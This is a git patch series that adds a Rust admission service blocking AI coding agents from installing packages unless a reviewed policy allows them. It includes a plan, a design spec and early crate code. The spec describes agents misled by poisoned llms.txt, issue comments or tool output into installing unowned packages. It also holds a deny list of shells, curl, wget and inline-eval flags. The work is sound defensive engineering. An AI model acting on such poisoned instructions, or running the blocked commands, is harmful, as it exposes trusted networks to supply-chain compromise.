From 6ffea8b799ef6150515ba612ab66b56bbf71693e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 27 Aug 2026 21:14:47 -0700 Subject: [PATCH 001/702] test(security): define agent artifact admission boundary --- .../2026-08-28-agent-artifact-admission.md | 390 ++++++++++++++++++ ...6-08-28-agent-artifact-admission-design.md | 251 +++++++++++ tests/agent_artifact_admission_red.rs | 25 ++ 3 files changed, 666 insertions(+) create mode 100644 docs/superpowers/plans/2026-08-28-agent-artifact-admission.md create mode 100644 docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md create mode 100644 tests/agent_artifact_admission_red.rs diff --git a/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md b/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md new file mode 100644 index 00000000..c58fd784 --- /dev/null +++ b/docs/superpowers/plans/2026-08-28-agent-artifact-admission.md @@ -0,0 +1,390 @@ +# Agent Artifact Admission Controller Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Add an independently deployable Rust admission service that blocks AI-agent package installation unless a reviewed manifest and exact content-addressed artifact policy authorize it. + +**Architecture:** A new workspace crate owns strict models, pure deterministic policy evaluation, append-only audit sinks, configuration/credential loading, and a small authenticated Axum API. It never executes commands; callers receive a durable allow/block receipt and must fail closed when the service is unavailable. + +**Tech Stack:** Rust 2024, Axum 0.8, Tokio 1, Serde/serde_json 1, `ring` SHA-256, `subtle` constant-time comparison, `reqwest::Url`, Tower integration tests, proptest. + +**Spec:** `docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md` + +## Global Constraints + +- Base all work directly on protected `main`; do not stack on unrelated Wardnet PRs. +- Production code is Rust only. +- Runtime credentials come from the credential JSON file; no runtime secret lookup from environment variables. +- The process binds only to an IP loopback address in v0.1. +- Requests contain structured `argv`; no shell command string API exists. +- Empty policy, absent evidence, malformed evidence, and audit failure all block. +- Unknown JSON fields are rejected. +- Public APIs require doc comments. +- Production statement coverage, branch coverage, and public API documentation coverage target 100%. +- No raw token or raw command may appear in responses, logs, or audit records. +- Existing Wardnet gateway behavior must remain unchanged. + +--- + +### Task 1: Lock the threat contract with a failing test + +**Files:** +- Create: `tests/agent_artifact_admission_red.rs` +- Create: `docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md` +- Create: `docs/superpowers/plans/2026-08-28-agent-artifact-admission.md` + +**Interfaces:** +- Consumes: none +- Produces: the required public API names used by the implementation tasks + +- [ ] **Step 1: Write the failing attack regression** + +```rust +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, InstallIntent, admission_decision, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision.as_str(), "block"); +} +``` + +- [ ] **Step 2: Push the test and verify RED on GitHub Actions** + +Expected: the Rust job fails because `wardnet_agent_artifact_admission` does not yet exist. This establishes that the test detects the missing boundary rather than passing against existing behavior. + +- [ ] **Step 3: Commit** + +```bash +git add tests/agent_artifact_admission_red.rs docs/superpowers + +git commit -m "test(security): define agent artifact admission boundary" +``` + +### Task 2: Create strict domain models and SHA-256 helpers + +**Files:** +- Modify: `Cargo.toml` +- Modify: `Cargo.lock` +- Create: `crates/agent-artifact-admission/Cargo.toml` +- Create: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/src/model.rs` +- Test: `crates/agent-artifact-admission/tests/admission_contract.rs` +- Delete: `tests/agent_artifact_admission_red.rs` + +**Interfaces:** +- Consumes: design request/policy schema +- Produces: `InstallIntent`, `AdmissionPolicy`, `ApprovedManifest`, `ApprovedArtifact`, `AdmissionDecision`, `DecisionKind`, `ReasonCode`, `sha256_hex`, `is_sha256_hex` + +- [ ] **Step 1: Move the RED regression into the new crate and add strict-deserialization tests** + +Cover unknown fields, empty IDs, invalid lowercase SHA-256, duplicate artifact arguments, and serialization of snake-case enums. + +- [ ] **Step 2: Run the focused tests and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +Expected: unresolved model functions/types. + +- [ ] **Step 3: Implement the model types** + +Use `#[serde(deny_unknown_fields)]` on all input/config structs and `#[serde(rename_all = "snake_case")]` on enums. Bound all identifiers, arguments, artifact fields, and counts during validation rather than accepting unbounded strings. + +- [ ] **Step 4: Implement SHA-256 through `ring::digest`** + +```rust +pub fn sha256_hex(input: &[u8]) -> String { + let digest = ring::digest::digest(&ring::digest::SHA256, input); + digest.as_ref().iter().map(|byte| format!("{byte:02x}")).collect() +} +``` + +Add NIST-known vector assertions for empty input and `abc`. + +- [ ] **Step 5: Run focused tests and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract model_ +``` + +- [ ] **Step 6: Commit** + +```bash +git add Cargo.toml Cargo.lock crates/agent-artifact-admission tests/agent_artifact_admission_red.rs + +git commit -m "feat(security): add artifact admission domain model" +``` + +### Task 3: Implement pure fail-closed policy evaluation + +**Files:** +- Create: `crates/agent-artifact-admission/src/policy.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Modify: `crates/agent-artifact-admission/tests/admission_contract.rs` + +**Interfaces:** +- Consumes: `AdmissionPolicy`, `InstallIntent` +- Produces: `pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision` + +- [ ] **Step 1: Add failing tests for source provenance** + +Test remote `llms_txt`, `llms_full_txt`, `web_page`, and `issue_comment` sources with missing URI, HTTP URI, user-info URI, missing digest, query, and fragment. Query/fragment must be removed from the normalized response URI. + +- [ ] **Step 2: Add failing tests for forbidden command paths** + +Test shells, downloaders, `npx`/`pnpx`/`bunx`, runtime `-c`/`-e`, alternate Python trust roots, non-allowlisted executable, empty/missing artifact arguments, and duplicate artifacts. + +- [ ] **Step 3: Add failing tests for exact policy matching** + +Test manifest, ecosystem, name, version, registry, owner, digest, and artifact-argument mismatch independently. Test moving versions (`latest`, `main`, wildcard, range) and empty deny-all policy. + +- [ ] **Step 4: Add failing tests for package-manager safety flags** + +Require `--ignore-scripts`, `--require-hashes`, `--locked`, and container `@sha256:` according to executable/subcommand. + +- [ ] **Step 5: Run all policy tests and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +- [ ] **Step 6: Implement deterministic validation and reason ordering** + +The evaluator accumulates stable `ReasonCode` values without including untrusted text. It returns `allow` only when the reason list is empty. Exact artifact matching uses normalized HTTPS registry URLs and all identity fields. + +- [ ] **Step 7: Add a proptest invariant** + +For arbitrary `argv`, source strings, and package fields, assert that the evaluator never panics. Assert that an empty policy never allows. + +- [ ] **Step 8: Run focused and property tests; verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test admission_contract +``` + +- [ ] **Step 9: Commit** + +```bash +git add crates/agent-artifact-admission/src crates/agent-artifact-admission/tests + +git commit -m "feat(security): enforce exact package admission policy" +``` + +### Task 4: Add append-only audit with audit-before-allow semantics + +**Files:** +- Create: `crates/agent-artifact-admission/src/audit.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/audit_contract.rs` + +**Interfaces:** +- Consumes: `InstallIntent`, `AdmissionDecision` +- Produces: `AuditRecord`, `AuditArtifact`, `AuditSink`, `FileAuditSink`, `MemoryAuditSink`, `build_audit_record` + +- [ ] **Step 1: Write failing audit minimization tests** + +Assert records contain command SHA-256 and normalized source URI, but not raw argv, query, fragment, or token-shaped test values. Assert artifact coordinates and policy identity are preserved. + +- [ ] **Step 2: Write failing file durability tests** + +Append two records and verify two complete NDJSON lines. Force an oversized serialized record and deterministic sink failure; both must return an error. + +- [ ] **Step 3: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test audit_contract +``` + +- [ ] **Step 4: Implement sinks** + +`FileAuditSink` serializes writers with `std::sync::Mutex`, opens with append/create, writes one bounded line, flushes, and calls `sync_data`. `MemoryAuditSink` stores records for embedding/tests. Neither sink logs paths or payloads in errors returned to clients. + +- [ ] **Step 5: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test audit_contract +``` + +- [ ] **Step 6: Commit** + +```bash +git add crates/agent-artifact-admission/src/audit.rs crates/agent-artifact-admission/tests/audit_contract.rs + +git commit -m "feat(security): persist minimized admission audit evidence" +``` + +### Task 5: Add configuration, credentials, and strict CLI + +**Files:** +- Create: `crates/agent-artifact-admission/src/config.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/cli_contract.rs` +- Create: `deploy/agent-artifact-admission.example.json` +- Create: `deploy/agent-artifact-admission.credentials.schema.json` + +**Interfaces:** +- Produces: `AdmissionServiceConfig`, `CredentialFile`, `CliArgs`, `parse_cli_args`, `load_config`, `load_admin_token`, `validate_service_config` + +- [ ] **Step 1: Add failing config tests** + +Reject unsupported version, non-loopback bind, zero/oversized body limit, missing audit path, duplicate policy entries, forbidden allowlisted executable, malformed artifact/manifest identity, and empty/short/oversized credential. + +- [ ] **Step 2: Add failing CLI tests** + +Require exactly one `--config PATH` and one `--credentials PATH`; reject duplicates, missing values, positional arguments, and unknown flags. + +- [ ] **Step 3: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 4: Implement loading and validation** + +Read bounded UTF-8 JSON, reject unknown fields, and return stable non-secret errors. The committed config contains an empty policy and therefore denies all operations. + +- [ ] **Step 5: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 6: Commit** + +```bash +git add crates/agent-artifact-admission/src/config.rs crates/agent-artifact-admission/tests/cli_contract.rs deploy + +git commit -m "feat(security): load reviewed admission policy and credentials" +``` + +### Task 6: Add authenticated HTTP admission API + +**Files:** +- Create: `crates/agent-artifact-admission/src/http.rs` +- Create: `crates/agent-artifact-admission/src/main.rs` +- Modify: `crates/agent-artifact-admission/src/lib.rs` +- Create: `crates/agent-artifact-admission/tests/http_contract.rs` + +**Interfaces:** +- Produces: `AdmissionState`, `build_app`, `run_service`, `run_cli`, routes `/healthz`, `/v1/policy`, `/v1/admissions` + +- [ ] **Step 1: Add failing authentication tests** + +Verify missing, duplicate, wrong, non-ASCII, empty, and oversized `X-Admin-Token` return 401. Verify the correct token succeeds. Include equal-length and different-length wrong tokens. + +- [ ] **Step 2: Add failing response-semantics tests** + +Verify policy block returns 200 and `decision=block`; candidate allow returns 200 only after the audit sink contains the record. Verify malformed authenticated JSON returns audited 400. + +- [ ] **Step 3: Add failing audit-outage tests** + +Inject a sink that always fails. Both candidate allow and candidate block must return 503 with a block decision and `audit_unavailable`; no caller may receive allow. + +- [ ] **Step 4: Run and verify RED** + +```bash +cargo test -p wardnet-agent-artifact-admission --test http_contract +``` + +- [ ] **Step 5: Implement the router and fixed-size constant-time token comparison** + +Use Axum `DefaultBodyLimit`. Hash malformed bodies before building the minimized audit record. Move synchronous audit append to `tokio::task::spawn_blocking`. + +- [ ] **Step 6: Implement thin process entrypoint** + +Parse CLI, load/validate policy and credential files, construct `FileAuditSink`, bind the validated loopback socket, and serve with graceful Ctrl-C/SIGTERM shutdown. + +- [ ] **Step 7: Run and verify GREEN** + +```bash +cargo test -p wardnet-agent-artifact-admission --test http_contract +cargo test -p wardnet-agent-artifact-admission --test cli_contract +``` + +- [ ] **Step 8: Commit** + +```bash +git add crates/agent-artifact-admission/src crates/agent-artifact-admission/tests + +git commit -m "feat(security): expose authenticated artifact admission API" +``` + +### Task 7: Publish contracts, threat model, and research traceability + +**Files:** +- Create: `docs/api/agent-artifact-admission.openapi.yaml` +- Create: `docs/adr/0012-agent-artifact-admission.md` +- Create: `docs/security/agent-artifact-admission.md` +- Create: `docs/doctoring/agent-artifact-admission.md` +- Create: `docs/product-technical-gap-baseline.md` + +**Interfaces:** +- Consumes: final service behavior +- Produces: buyer/operator contract and traceability + +- [ ] **Step 1: Write OpenAPI 3.1 contract** + +Define strict request/response schemas, stable reason codes, authentication, body limit, and 200/400/401/413/503 semantics. + +- [ ] **Step 2: Write accepted ADR** + +Record why this is a separate Wardnet process, why source text is non-authoritative, why policy is immutable/file-backed in v0.1, and why policy blocks use HTTP 200. + +- [ ] **Step 3: Write threat model and operations runbook** + +Cover dependency confusion, package hallucination, prompt injection, source poisoning, registry substitution, install scripts, audit outage, bypass, replay, and direct service exposure. Provide integration sequence and incident response. + +- [ ] **Step 4: Write APA 7 research/standards note** + +Trace decisions to the METAL LAB incident report, OWASP Secure Coding with AI/MCP/Agentic guidance, NIST SSDF, SLSA, TUF, CWE-829, and CWE-494. Do not commit copyrighted papers without redistribution permission. + +- [ ] **Step 5: Update product/technical gap baseline** + +Record the feature as implemented on the PR head and retain explicit gaps: execution-broker integration, signed policy distribution, transitive graph/SBOM verification, sandbox receipts, durable PostgreSQL outbox, and SIEM projection. + +- [ ] **Step 6: Commit** + +```bash +git add docs + +git commit -m "docs(security): define agent artifact admission operating model" +``` + +### Task 8: Exact-head verification and PR readiness + +**Files:** +- Modify as required by verified findings only + +- [ ] **Step 1: Run repository gates** + +```bash +cargo fmt --check +cargo test --locked --workspace +cargo clippy --locked --workspace --all-targets -- -D warnings +``` + +- [ ] **Step 2: Run coverage** + +```bash +cargo llvm-cov --locked -p wardnet-agent-artifact-admission --all-targets --branch --fail-under-lines 100 --fail-under-branches 100 +``` + +If stable Rust cannot instrument branches, use the repository's date-pinned nightly coverage lane; do not suppress or rewrite failed tests. + +- [ ] **Step 3: Inspect security and review evidence** + +Read all exact-head CI, Security Scan, Semgrep, CodeQL, fuzz/property, and automated review outputs. Reproduce each actionable finding, fix the root cause, rerun, and resolve only after the exact head contains the fix. + +- [ ] **Step 4: Remove all one-shot workflow/bootstrap artifacts** + +A temporary lockfile-update workflow may exist only long enough to produce the reviewed `Cargo.lock`; delete it in the same development loop and confirm the final diff contains no self-modifying workflow. + +- [ ] **Step 5: Mark ready and enable auto-merge only when truthful** + +Required conditions: exact-head checks successful, zero unresolved actionable threads, branch current with `main`, and the live independent approval rule satisfied. Never admin-bypass or self-approve. diff --git a/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md b/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md new file mode 100644 index 00000000..e7b58c54 --- /dev/null +++ b/docs/superpowers/specs/2026-08-28-agent-artifact-admission-design.md @@ -0,0 +1,251 @@ +# Agent Artifact Admission Controller Design + +- Status: Proposed for implementation +- Date: 2026-08-28 +- Issue: #128 +- Owning repository: `ContextualWisdomLab/wardnet` + +## Problem + +AI coding agents can read `llms.txt`, `llms-full.txt`, README fragments, issue comments, retrieved pages, or tool output and translate text into package installation or code execution. The source document is not an authority for package ownership, registry identity, artifact integrity, or execution permission. A newly registered package name or domain can therefore turn a model hallucination or poisoned document into dependency confusion inside a trusted network. + +Wardnet currently protects HTTP traffic, ingests threat evidence, and provides an AI SOC control plane, but it does not expose a pre-execution admission boundary for coding-agent package operations. A WAF signature alone cannot solve this: the decision must bind the proposed command to a reviewed dependency manifest and immutable artifact identity before the package manager or downloader runs. + +## Goal + +Add an independently deployable Rust service, `wardnet-agent-artifact-admission`, that answers one question: + +> May this actor execute this exact structured package-install command, from this exact instruction source, against this reviewed manifest and these exact content-addressed artifacts? + +The service never executes commands. It emits a deterministic allow/block decision and a durable audit record. An execution broker, CI runner, OpenCode/Codex/Claude/Hermes wrapper, or MCP tool must require an `allow` decision before invoking a package manager. + +## Security invariants + +1. Web pages, `llms.txt`, tool output, issue comments, and model text are untrusted data. +2. Source text cannot create package ownership, artifact trust, or execution capability. +3. Requests contain an argument vector (`argv`), never a shell command string. +4. An empty policy allows nothing. +5. The executable must be explicitly allowlisted and must not be a forbidden shell, downloader, package executor, or runtime-eval path. +6. Every direct artifact must match policy by ecosystem, exact name, exact version, normalized HTTPS registry URL, owner, and SHA-256 digest. +7. Every artifact must identify the exact argument token that represents it; that token must appear exactly once in `argv`. +8. The workspace dependency-manifest SHA-256 must match a reviewed policy entry. +9. Remote instruction sources require an HTTPS URI without user information and a SHA-256 content digest. +10. Package-manager hardening flags are mandatory: npm-family installs ignore lifecycle scripts, Python installs require hashes, Cargo installs use the lockfile, and container pulls use an image digest. +11. Policy and credentials are immutable for the process lifetime; changes require a reviewed configuration update and restart. +12. An allow response is returned only after the audit record has been appended and synchronized. Audit failure becomes a block with HTTP 503. +13. Audit data contains no admin token and no raw command text. +14. v0.1 binds only to a loopback address. Remote exposure is delegated to an authenticated TLS or mTLS proxy. + +## Architecture + +```text +AI coding agent / execution broker + | + | structured install intent + v ++-----------------------------------------------+ +| Wardnet Agent Artifact Admission Controller | +| | +| authentication -> structural validation | +| -> source provenance -> command restrictions | +| -> manifest admission -> artifact admission | +| -> append-only audit -> allow/block response | ++-----------------------------------------------+ + | + | allow receipt only + v +sandboxed package-manager executor +``` + +The controller is a separate workspace crate rather than a route in the existing large Wardnet gateway module. This keeps the executable independently deployable, limits privileges, and avoids giving the main gateway a command-execution responsibility. + +## Files and components + +```text +crates/agent-artifact-admission/ +├── Cargo.toml +├── src/ +│ ├── lib.rs public API and re-exports +│ ├── model.rs strict request, policy, response, and audit types +│ ├── policy.rs pure validation and deterministic admission decision +│ ├── audit.rs append-only NDJSON audit sinks +│ ├── config.rs config, credential, and strict CLI loading +│ ├── http.rs Axum routes, authentication, and audit-before-allow +│ └── main.rs thin process entrypoint +└── tests/ + ├── admission_contract.rs + ├── http_contract.rs + └── cli_contract.rs +``` + +## Request contract + +`POST /v1/admissions` receives JSON with unknown fields rejected: + +```json +{ + "request_id": "req-20260828-0001", + "actor_id": "agent:codex:workspace-17", + "workspace_id": "ContextualWisdomLab/wardnet", + "operation": "install", + "argv": ["npm", "install", "@cwl/example@1.2.3", "--ignore-scripts"], + "manifest_sha256": "64-lowercase-hex", + "source": { + "kind": "llms_txt", + "uri": "https://example.invalid/llms.txt", + "content_sha256": "64-lowercase-hex" + }, + "artifacts": [ + { + "ecosystem": "npm", + "name": "@cwl/example", + "version": "1.2.3", + "registry_url": "https://registry.npmjs.org", + "owner": "ContextualWisdomLab", + "sha256": "64-lowercase-hex", + "artifact_argument": "@cwl/example@1.2.3" + } + ] +} +``` + +The response is HTTP 200 for both policy allow and policy block: + +```json +{ + "request_id": "req-20260828-0001", + "decision": "block", + "reason_codes": ["artifact_not_approved"], + "policy_id": "enterprise-default", + "policy_revision": "2026-08-28.1", + "normalized_source_uri": "https://example.invalid/llms.txt", + "command_sha256": "64-lowercase-hex", + "artifact_count": 1 +} +``` + +HTTP status communicates transport/auth/service state only: + +- `200`: a durable allow/block decision exists +- `400`: malformed or structurally invalid request, durably audited when authentication succeeded +- `401`: missing, duplicate, malformed, or incorrect admin token +- `413`: body limit exceeded +- `503`: audit durability unavailable; execution must not proceed + +## Policy contract + +The service configuration contains: + +- `configuration_version = "1"` +- loopback `bind_address` +- bounded `max_request_body_bytes` +- mandatory `audit_log_path` +- immutable `policy` + +The policy contains: + +- stable `policy_id` and `policy_revision` +- explicit `allowed_executables` +- reviewed workspace manifest digests +- exact approved artifact identities + +Policy validation rejects duplicates, malformed digests, insecure registry URLs, unbounded strings, forbidden executables, wildcard or moving versions (`latest`, `main`, ranges), and entries without review provenance. + +## Command restrictions + +The following executables are always blocked even if named by policy: + +- shells and command interpreters (`sh`, `bash`, `zsh`, `cmd`, `powershell`, `pwsh`) +- direct download clients (`curl`, `wget`, `aria2c`, `ftp`, `scp`) +- package executors (`npx`, `pnpx`, `bunx`) + +Language runtimes are blocked when command arguments request inline evaluation (`-c`, `-e`, `--eval`, or `--execute`). Package-manager options that create an alternate trust root, such as `--extra-index-url` and `--trusted-host`, are blocked. + +Safe-flag requirements are deterministic: + +- `npm`, `pnpm`, `yarn`, `bun`: `--ignore-scripts` +- `pip`, `pip3`, and `uv pip`: `--require-hashes` +- `cargo install`: `--locked` +- `docker pull` and `podman pull`: argument includes `@sha256:` + +## Authentication + +Both `/v1/policy` and `/v1/admissions` require exactly one `X-Admin-Token`. `/healthz` is unauthenticated and exposes only status, policy identity, and counts. The token is read from a credentials JSON file supplied with `--credentials`; runtime environment variables are not a credential source. Comparison uses a fixed-size constant-time buffer and constant-time length equality. + +## Audit contract + +Each authenticated admission attempt produces one NDJSON record containing: + +- timestamp +- request, actor, and workspace IDs +- operation +- decision and reason codes +- policy identity +- normalized source kind and URI +- source content digest +- command digest, not raw `argv` +- reviewed manifest digest +- artifact coordinates and digests + +The file sink serializes writers, appends one bounded JSON line, flushes, and synchronizes data before success. A memory sink is provided for embedding/tests. Audit serialization or I/O errors fail closed. + +## Error handling + +- Validation returns stable machine-readable reason codes in deterministic order. +- Multiple defects may be returned together so an operator can remediate one request without repeated trial-and-error. +- Error messages never contain the admin token, raw command, query string, URL fragment, or unbounded upstream text. +- Malformed authenticated JSON is identified by a body SHA-256-derived request surrogate and audited without storing the body. + +## Verification + +Tests must cover: + +- the reported attack shape: unowned package from `llms.txt` is blocked +- exact approved artifact and reviewed manifest is allowed +- registry, owner, version, digest, manifest, or argument mismatch blocks +- moving/unpinned versions block +- remote source without HTTPS or source digest blocks +- source query/fragment removed from audit/response +- shell/downloader/package-executor/runtime-eval commands block +- missing package-manager safety flags block +- duplicate artifacts, arguments, and policy entries block +- missing/duplicate/wrong/non-ASCII/oversized tokens return 401 +- no token or raw command appears in audit output +- malformed authenticated JSON is audited and returns 400 +- audit failure converts any candidate decision to HTTP 503/block +- loopback-only configuration and strict CLI parsing +- property tests for arbitrary input never panic and never allow without a complete exact policy match +- SHA-256 NIST-known vectors + +Merge requires exact-head formatting, locked workspace tests, strict Clippy, central security checks, current-head review, zero unresolved actionable threads, and the live independent-approval rule. + +## Deployment + +The process starts with: + +```text +wardnet-agent-artifact-admission \ + --config /etc/wardnet/agent-artifact-admission.json \ + --credentials /run/secrets/wardnet-agent-artifact-admission.json +``` + +The committed example policy has no approved manifests or artifacts and therefore blocks every install. Operators create policy entries through code review or a separate policy delivery system; there is no mutation API in v0.1. + +## Non-goals + +- executing package managers or shell commands +- inferring package ownership from website content +- automatically repairing hallucinated package names +- dynamically registering or probing package names +- replacing package registry verification, TUF, Sigstore, SLSA provenance, or sandboxing +- allowing model output to mutate policy +- exposing the service directly to a non-loopback network + +## Follow-up boundaries + +- integrate the admission call into central OpenCode/Codex/Claude/Hermes execution brokers +- accept signed policy bundles through TUF/Sigstore instead of local files +- emit OCSF/OTLP through Wardnet's SIEM export path +- add a durable PostgreSQL/outbox audit backend +- add sandbox execution receipts and post-install filesystem/network attestation +- add transitive dependency graph verification and SBOM comparison diff --git a/tests/agent_artifact_admission_red.rs b/tests/agent_artifact_admission_red.rs new file mode 100644 index 00000000..8606912b --- /dev/null +++ b/tests/agent_artifact_admission_red.rs @@ -0,0 +1,25 @@ +//! RED contract for issue #128. +//! +//! This test intentionally lands before the new crate. The first PR head must +//! fail because Wardnet has no agent artifact admission boundary yet. The next +//! implementation commit moves this regression into the owning crate. + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, InstallIntent, admission_decision, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision.as_str(), "block"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} From 77c13091e788a1e669f2afc4a71c9e704d96fab6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 27 Aug 2026 21:16:21 -0700 Subject: [PATCH 002/702] test(security): format red admission contract --- tests/agent_artifact_admission_red.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/tests/agent_artifact_admission_red.rs b/tests/agent_artifact_admission_red.rs index 8606912b..c41787c3 100644 --- a/tests/agent_artifact_admission_red.rs +++ b/tests/agent_artifact_admission_red.rs @@ -4,9 +4,7 @@ //! fail because Wardnet has no agent artifact admission boundary yet. The next //! implementation commit moves this regression into the owning crate. -use wardnet_agent_artifact_admission::{ - AdmissionPolicy, InstallIntent, admission_decision, -}; +use wardnet_agent_artifact_admission::{AdmissionPolicy, InstallIntent, admission_decision}; #[test] fn unowned_package_from_llms_txt_is_blocked() { From 1a5d2c77a82b11b0ae2f4d2582c07c2c69bb3b3d Mon Sep 17 00:00:00 2001 From: OpenAI Codex Date: Fri, 28 Aug 2026 13:30:33 +0900 Subject: [PATCH 003/702] feat(security): add agent artifact admission crate --- Cargo.lock | 10 + Cargo.toml | 3 +- crates/agent-artifact-admission/Cargo.toml | 13 + crates/agent-artifact-admission/src/lib.rs | 10 + crates/agent-artifact-admission/src/model.rs | 238 ++++++++++++++++++ crates/agent-artifact-admission/src/policy.rs | 96 +++++++ .../tests/admission_contract.rs | 119 +++++++++ 7 files changed, 488 insertions(+), 1 deletion(-) create mode 100644 crates/agent-artifact-admission/Cargo.toml create mode 100644 crates/agent-artifact-admission/src/lib.rs create mode 100644 crates/agent-artifact-admission/src/model.rs create mode 100644 crates/agent-artifact-admission/src/policy.rs create mode 100644 crates/agent-artifact-admission/tests/admission_contract.rs diff --git a/Cargo.lock b/Cargo.lock index c696190f..153312b3 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1347,6 +1347,7 @@ dependencies = [ "tokio", "tower", "waf-ids-core", + "wardnet-agent-artifact-admission", ] [[package]] @@ -1377,6 +1378,15 @@ dependencies = [ "try-lock", ] +[[package]] +name = "wardnet-agent-artifact-admission" +version = "0.1.0" +dependencies = [ + "ring", + "serde", + "serde_json", +] + [[package]] name = "wasi" version = "0.11.1+wasi-snapshot-preview1" diff --git a/Cargo.toml b/Cargo.toml index b2ec231f..40415656 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -6,7 +6,7 @@ description = "Rust-first WAF/IDS/AI SOC gateway with DNSBL and commercial readi license = "MIT" [workspace] -members = [".", "crates/waf-ids-core"] +members = [".", "crates/waf-ids-core", "crates/agent-artifact-admission"] resolver = "3" [dependencies] @@ -23,3 +23,4 @@ tower = { version = "0.5", features = ["util"] } # Property-based testing (MIT OR Apache-2.0); mirrors the cargo-fuzz target for # parse_admin_tokens so its invariants stay green in primary CI. proptest = "1" +wardnet-agent-artifact-admission = { path = "crates/agent-artifact-admission" } diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml new file mode 100644 index 00000000..9ed7e5c2 --- /dev/null +++ b/crates/agent-artifact-admission/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "wardnet-agent-artifact-admission" +version = "0.1.0" +edition = "2024" +description = "Fail-closed package-install admission policy for AI coding agents" +license = "MIT" + +[dependencies] +ring = "0.17" +serde = { version = "1", features = ["derive"] } + +[dev-dependencies] +serde_json = "1" diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs new file mode 100644 index 00000000..68aaa492 --- /dev/null +++ b/crates/agent-artifact-admission/src/lib.rs @@ -0,0 +1,10 @@ +//! Fail-closed package-install admission primitives for AI coding agents. + +mod model; +mod policy; + +pub use model::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, +}; +pub use policy::{admission_decision, is_sha256_hex, sha256_hex}; diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs new file mode 100644 index 00000000..cf90dace --- /dev/null +++ b/crates/agent-artifact-admission/src/model.rs @@ -0,0 +1,238 @@ +use serde::{Deserialize, Serialize}; + +/// Immutable admission policy loaded through reviewed configuration. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(deny_unknown_fields)] +pub struct AdmissionPolicy { + /// Stable policy identifier surfaced in responses and audit records. + pub policy_id: String, + /// Immutable policy revision identifier. + pub policy_revision: String, + /// Executables that may be considered for admission. + #[serde(default)] + pub allowed_executables: Vec, + /// Reviewed workspace manifest digests. + #[serde(default)] + pub approved_manifests: Vec, + /// Exact approved install artifacts. + #[serde(default)] + pub approved_artifacts: Vec, +} + +impl AdmissionPolicy { + /// Test helper that proves the evaluator blocks when nothing is approved. + pub fn deny_all_for_test() -> Self { + Self { + policy_id: "deny-all".to_string(), + policy_revision: "test".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + } + } +} + +/// Reviewed manifest identity allowed by policy. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ApprovedManifest { + /// Workspace identifier the reviewed manifest belongs to. + pub workspace_id: String, + /// Exact SHA-256 digest of the reviewed manifest. + pub sha256: String, +} + +/// Exact package artifact allowed by policy. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ApprovedArtifact { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Normalized registry URL. + pub registry_url: String, + /// Reviewed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, + /// Exact argv token that names the artifact to install. + pub artifact_argument: String, +} + +/// One requested artifact inside an install intent. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ArtifactCoordinate { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub 